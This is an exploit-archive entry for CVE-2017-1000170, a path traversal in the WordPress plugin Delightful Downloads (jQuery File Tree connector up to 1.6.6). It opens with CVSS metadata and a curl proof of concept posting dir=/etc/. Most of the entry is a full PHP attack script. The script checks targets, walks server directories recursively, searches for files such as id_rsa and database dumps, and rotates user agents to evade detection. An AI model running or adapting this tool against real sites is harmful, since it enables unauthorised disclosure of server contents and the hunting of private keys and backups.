WordPress Delightful Downloads Jquery File Tree 1.6.6 Path Traversal

2021.03.22
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal # Date: 19/03/2021 # Exploit Author: Nicholas Ferreira # Vendor Homepage: https://github.com/A5hleyRich/delightful-downloads # Version: <=1.6.6 # Tested on: Debian 11 # CVE : CVE-2017-1000170 # PHP version (exploit): 7.3.27 # POC: curl --data "dir=/etc/" http://example.com/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php <?php $vuln_file = "/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"; // do not change $agents = ["Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.0; Trident/3.0)", "Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X; sl-SI) AppleWebKit/531.37.3 (KHTML, like Gecko) Version/4.0.5 Mobile/8B119 Safari/6531.37.3", "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_6 rv:6.0) Gecko/20120629 Firefox/35.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.1)", "Mozilla/5.0 (iPad; CPU OS 7_2_2 like Mac OS X; sl-SI) AppleWebKit/531.5.4 (KHTML, like Gecko) Version/3.0.5 Mobile/8B113 Safari/6531.5.4", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0) AppleWebKit/5321 (KHTML, like Gecko) Chrome/37.0.837.0 Mobile Safari/5321", "Mozilla/5.0 (Windows; U; Windows NT 6.0) AppleWebKit/535.12.4 (KHTML, like Gecko) Version/5.1 Safari/535.12.4", "Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X; en-US) AppleWebKit/531.18.4 (KHTML, like Gecko) Version/4.0.5 Mobile/8B118 Safari/6531.18.4", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.12.4 (KHTML, like Gecko) Version/4.0.3 Safari/531.12.4", "Mozilla/5.0 (compatible; MSIE 5.0; Windows 98; Win 9x 4.90; Trident/5.0)", "Opera/8.98 (Windows NT 5.0; en-US) Presto/2.11.268 Version/10.00", "Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X; sl-SI) AppleWebKit/534.16.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B111 Safari/6534.16.2", "Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100107 Firefox/36.0", "Mozilla/5.0 (Windows; U; Windows CE) AppleWebKit/535.23.6 (KHTML, like Gecko) Version/4.0.2 Safari/535.23.6", "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20120805 Firefox/36.0", "Mozilla/5.0 (X11; Linux x86_64; rv:7.0) Gecko/20130123 Firefox/37.0", "Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.1)", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_9 rv:6.0) Gecko/20190226 Firefox/36.0", "Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/533.39.1 (KHTML, like Gecko) Version/4.0.3 Safari/533.39.1", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:4.0) Gecko/20160603 Firefox/37.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_9 rv:5.0; en-US) AppleWebKit/532.20.3 (KHTML, like Gecko) Version/4.0 Safari/532.20.3", "Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/5340 (KHTML, like Gecko) Chrome/37.0.813.0 Mobile Safari/5340", "Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00", "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362", "Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00", "Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1", "Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00", "Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00", "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)", "Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0", "Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7", "Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5341 (KHTML, like Gecko) Chrome/37.0.831.0 Mobile Safari/5341", "Opera/9.74 (X11; Linux x86_64; sl-SI) Presto/2.10.265 Version/12.00", "Opera/9.60 (Windows NT 6.2; en-US) Presto/2.9.333 Version/11.00", "Mozilla/5.0 (iPad; CPU OS 7_0_2 like Mac OS X; en-US) AppleWebKit/535.7.5 (KHTML, like Gecko) Version/4.0.5 Mobile/8B115 Safari/6535.7.5", "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_8_2) AppleWebKit/5362 (KHTML, like Gecko) Chrome/40.0.862.0 Mobile Safari/5362", "Opera/9.74 (Windows NT 5.0; en-US) Presto/2.8.188 Version/10.00", "Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/531.17.1 (KHTML, like Gecko) Version/5.1 Safari/531.17.1", "Opera/9.93 (Windows CE; sl-SI) Presto/2.12.174 Version/12.00", "Mozilla/5.0 (Windows; U; Windows 98; Win 9x 4.90) AppleWebKit/535.13.4 (KHTML, like Gecko) Version/4.0.4 Safari/535.13.4", "Opera/8.19 (X11; Linux i686; en-US) Presto/2.12.301 Version/10.00", "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/532.7.2 (KHTML, like Gecko) Version/4.0.4 Safari/532.7.2", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 4.0; Trident/3.0)", "Opera/9.71 (X11; Linux x86_64; en-US) Presto/2.12.270 Version/12.00", "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2; Trident/4.1)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_2 rv:4.0) Gecko/20130506 Firefox/37.0", "Mozilla/5.0 (Windows; U; Windows 95) AppleWebKit/531.44.7 (KHTML, like Gecko) Version/4.0.4 Safari/531.44.7", "Mozilla/5.0 (Windows NT 6.1; en-US; rv:1.9.1.20) Gecko/20110731 Firefox/35.0", "Opera/8.11 (X11; Linux x86_64; en-US) Presto/2.11.165 Version/11.00", "Mozilla/5.0 (iPad; CPU OS 7_2_1 like Mac OS X; en-US) AppleWebKit/532.33.6 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6532.33.6", "Opera/9.71 (X11; Linux x86_64; sl-SI) Presto/2.10.180 Version/11.00", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1 rv:5.0) Gecko/20130122 Firefox/36.0", "Mozilla/5.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Trident/3.0)", "Mozilla/5.0 (compatible; MSIE 10.0; Windows 95; Trident/4.1)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.1)", "Opera/8.33 (X11; Linux x86_64; en-US) Presto/2.8.320 Version/12.00", "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20121221 Firefox/36.0", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_9 rv:4.0) Gecko/20200625 Firefox/35.0", "Mozilla/5.0 (Windows NT 6.0; sl-SI; rv:1.9.0.20) Gecko/20200505 Firefox/37.0", "Mozilla/5.0 (Windows; U; Windows NT 4.0) AppleWebKit/532.44.4 (KHTML, like Gecko) Version/5.0 Safari/532.44.4", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_9 rv:3.0) Gecko/20201229 Firefox/37.0", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.17.6 (KHTML, like Gecko) Version/4.1 Safari/531.17.6", "Mozilla/5.0 (X11; Linux i686) AppleWebKit/5311 (KHTML, like Gecko) Chrome/38.0.877.0 Mobile Safari/5311", "Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/531.4.3 (KHTML, like Gecko) Version/5.1 Safari/531.4.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_0 rv:4.0) Gecko/20140118 Firefox/35.0", "Mozilla/5.0 (Windows 95) AppleWebKit/5330 (KHTML, like Gecko) Chrome/36.0.847.0 Mobile Safari/5330", "Opera/8.39 (Windows 98; sl-SI) Presto/2.9.202 Version/11.00", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5 rv:3.0; en-US) AppleWebKit/534.11.4 (KHTML, like Gecko) Version/5.0 Safari/534.11.4"]; function post_request($url, $data, $random_agent = 0){ global $agents; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array("dir" => $data)); #curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080"); //debug w/ burp if($random_agent){ curl_setopt($ch, CURLOPT_USERAGENT, $agents[rand(0,count($agents)-1)]); } $output = curl_exec($ch); curl_close($ch); return $output; } function parse_dir($str){ // by raina77ow =) $contents = array(); $startFrom = $contentStart = $contentEnd = 0; while (false !== ($contentStart = strpos($str, 'rel="', $startFrom))){ $contentStart += 5; $contentEnd = strpos($str, '">', $contentStart); if (false === $contentEnd){ break; } $contents[] = substr($str, $contentStart, $contentEnd - $contentStart); $startFrom = $contentEnd + 2; } return $contents; } function list_files($url,$path, $recursive=0,$filter){ global $vuln_file; global $recursive; global $random_agent; $exts = ""; $extensions = ""; $files = ""; (count($filter) > 0) ? $has_filter = 1 : $has_filter = 0; $parsed = parse_dir(post_request($url.$vuln_file, $path, $random_agent)); // array tree foreach($parsed as $file_or_folder){ if($has_filter){ foreach($filter as $filtered){ if(strpos($file_or_folder, $filtered) !== false){ //if the current file contains any of the filter echo " ".$file_or_folder."\n"; continue; } if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder if($recursive){ //if recursive flag is set, enter on each folder and do it list_files($url, $file_or_folder, $recursive, $filter); } continue 2; // continue the outermost foreach } } continue; // if has filter, always restart the loop here } if(preg_match_all("#^\/.*\/$#", $file_or_folder)){ // is a folder if($recursive){ //if recursive flag is set, enter on each folder and do it list_files($url, $file_or_folder, $recursive, $filter); }else{ echo " ".$file_or_folder."\n"; //if it's not to be recursive, just print the folder name } }else{ //is a file echo " ".$file_or_folder."\n"; } continue; } } function alert_user($target,$path, $recursive, $filter){ //scan the root of the server recursivelly can really be a pain if($path == "/" && $recursive == 1){ echo red(" [i] WARNING: Scanning the root of the webserver recursivelly can exceed the timeout limit, block your IP or even take down the server. Are you sure you want to continue? [y/N] "); $handle = fopen ("php://stdin","r"); $line = fgets($handle); if(trim(strtoupper($line)) != 'Y'){ echo "\n Aborted. Try running me without the recursion flag\n\n"; exit; } fclose($handle); echo cyan("\n\n Ok, don't say I didn't warn you...\n"); } list_files($target,$path, $recursive, $filter); } ############################################################ function green($str){ return "\e[92m".$str."\e[0m"; } function red($str){ return "\e[91m".$str."\e[0m"; } function yellow($str){ return "\e[93m".$str."\e[0m"; } function cyan($str){ return "\e[96m".$str."\e[0m"; } function banner(){ echo " _____ _ _ _ _ __ _ _______ | __ \ | (_) | | | | / _| | |__ __| | | | | ___| |_ __ _| |__ | |_| |_ _ _| | | |_ __ ___ ___ | | | |/ _ \ | |/ _` | _ \| __| _| | | | | | | ยด__/ _ \/ _ \ | |__| | __/ | | (_| | | | | |_| | | |_| | | | | | | __/ __/ |_____/ \___|_|_|\__, |_| |_|\__|_| \__,_|_| |_|_| \___|\___| __/ | ".green("Coder: ").yellow("Nicholas Ferreira")." |___/ 0x7359 ".cyan("Delightful Downloads - Jquery File Tree")." Unauthenticated Path Traversal exploit ". red("\n (CVE-2017-1000170)")." "; } // ======================= CHECKING ======================= $short_args = "u:h::p:r::f:a::"; $long_args = array("url:","help::","path:","recursive::","filter:","random-agent::"); $options = getopt($short_args, $long_args); if($argc == 1){ die(banner()." Usage: php xpl_jqueryFileTree.php -u url [-x extensions] [-p path] [-r] [-h] [-a]\n\n Help: -h or --help\n\n"); } if(isset($options['h']) || isset($options['help'])){ banner(); die( " Usage: php ".$argv[0]." -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a] -h, --help: Show this message -u, --url: URL of target -a, --random-agent: Use random user agents -f, --filter: Name of files or extensions to search for (separated by comma) -p, --path: The full path from which the filenames will be read (default: /) -r, --recursive: Generates the tree recursivelly (be careful) e.g.: ".cyan($argv[0]." -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r")." | \-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths (You must provide the dot to indicate it's an extension) ".cyan($argv[0]." -u victim.com -f .log,id_rsa -a -r")." | \-> This will search for all files named \"id_rsa\" or having the extension \".log\" within all folders of the server, with random user-agents ".yellow("Tip: use \"php ..... | tee output\" to save the result to an output file")." "); } $random_agent = 0; if(isset($options['a'])){ $random_agent = 1; }elseif(isset($options['random-agent'])){ $random_agent = 1; } $target = ""; if(isset($options['u'])){ $target = $options['u']; }elseif(isset($options['url'])){ $target = $options['url']; } $recursive = 0; if(isset($options['r'])){ $recursive = 1; }elseif(isset($options['recursive'])){ $recursive = 1; } $path = "/"; if(isset($options['p'])){ $path = $options['p']; }elseif(isset($options['path'])){ $path = $options['p']; } if($path !== "/"){ if(!preg_match("#^\/.*\/$#", $path)){ $path = str_replace("//", "/", "/".$path."/"); // $path must be of the form /<path>/ for this to work, so lets force it } } $extensions = ""; if(isset($options['f'])){ $extensions = $options['f']; //strings }elseif(isset($options['filter'])){ $extensions = $options['filter']; //string } $filter = array(); if($extensions !== ""){ $filter = explode(",", $extensions); } // ========================= END CHECKING ========================== function is_vulnerable($url){ global $vuln_file; global $random_agent; global $filter; echo " [*] Target: ".$url."\n"; if(count($filter) > 0){ echo " [*] Filter: ".implode(", ", $filter)."\n\n"; } echo cyan(" [i] Checking if the target is vulnerable...\n"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url.$vuln_file); curl_setopt($ch, CURLOPT_NOBODY, true); // HEAD request to vulnerable file curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if(substr($code,0,1) == 2){ // 2xx echo yellow(" [i] HTTP response of vulnerable file is 2xx. May be vulnerable!\n"); $post = post_request($url.$vuln_file, "/", $random_agent); if(preg_match_all("/jqueryfiletree.*(bin|boot|dev|etc|var|usr|windows|users|temp)/", strtolower($post))){ echo green(" [+] Target is vulnerable! Getting file list...\n\n"); return true; } echo red(" [-] Target is not vulnerable... =(\n\n"); }else{ echo red(" [-] Could not find a valid vulnerable file. Maybe it doesn't exist, you don't have permission to read it or it is in another directory.\n"); } return false; } banner(); if(is_vulnerable($target)){ global $filter; alert_user($target,$path, $recursive, $filter); echo green("\n [+] Done!\n\n"); } ?>


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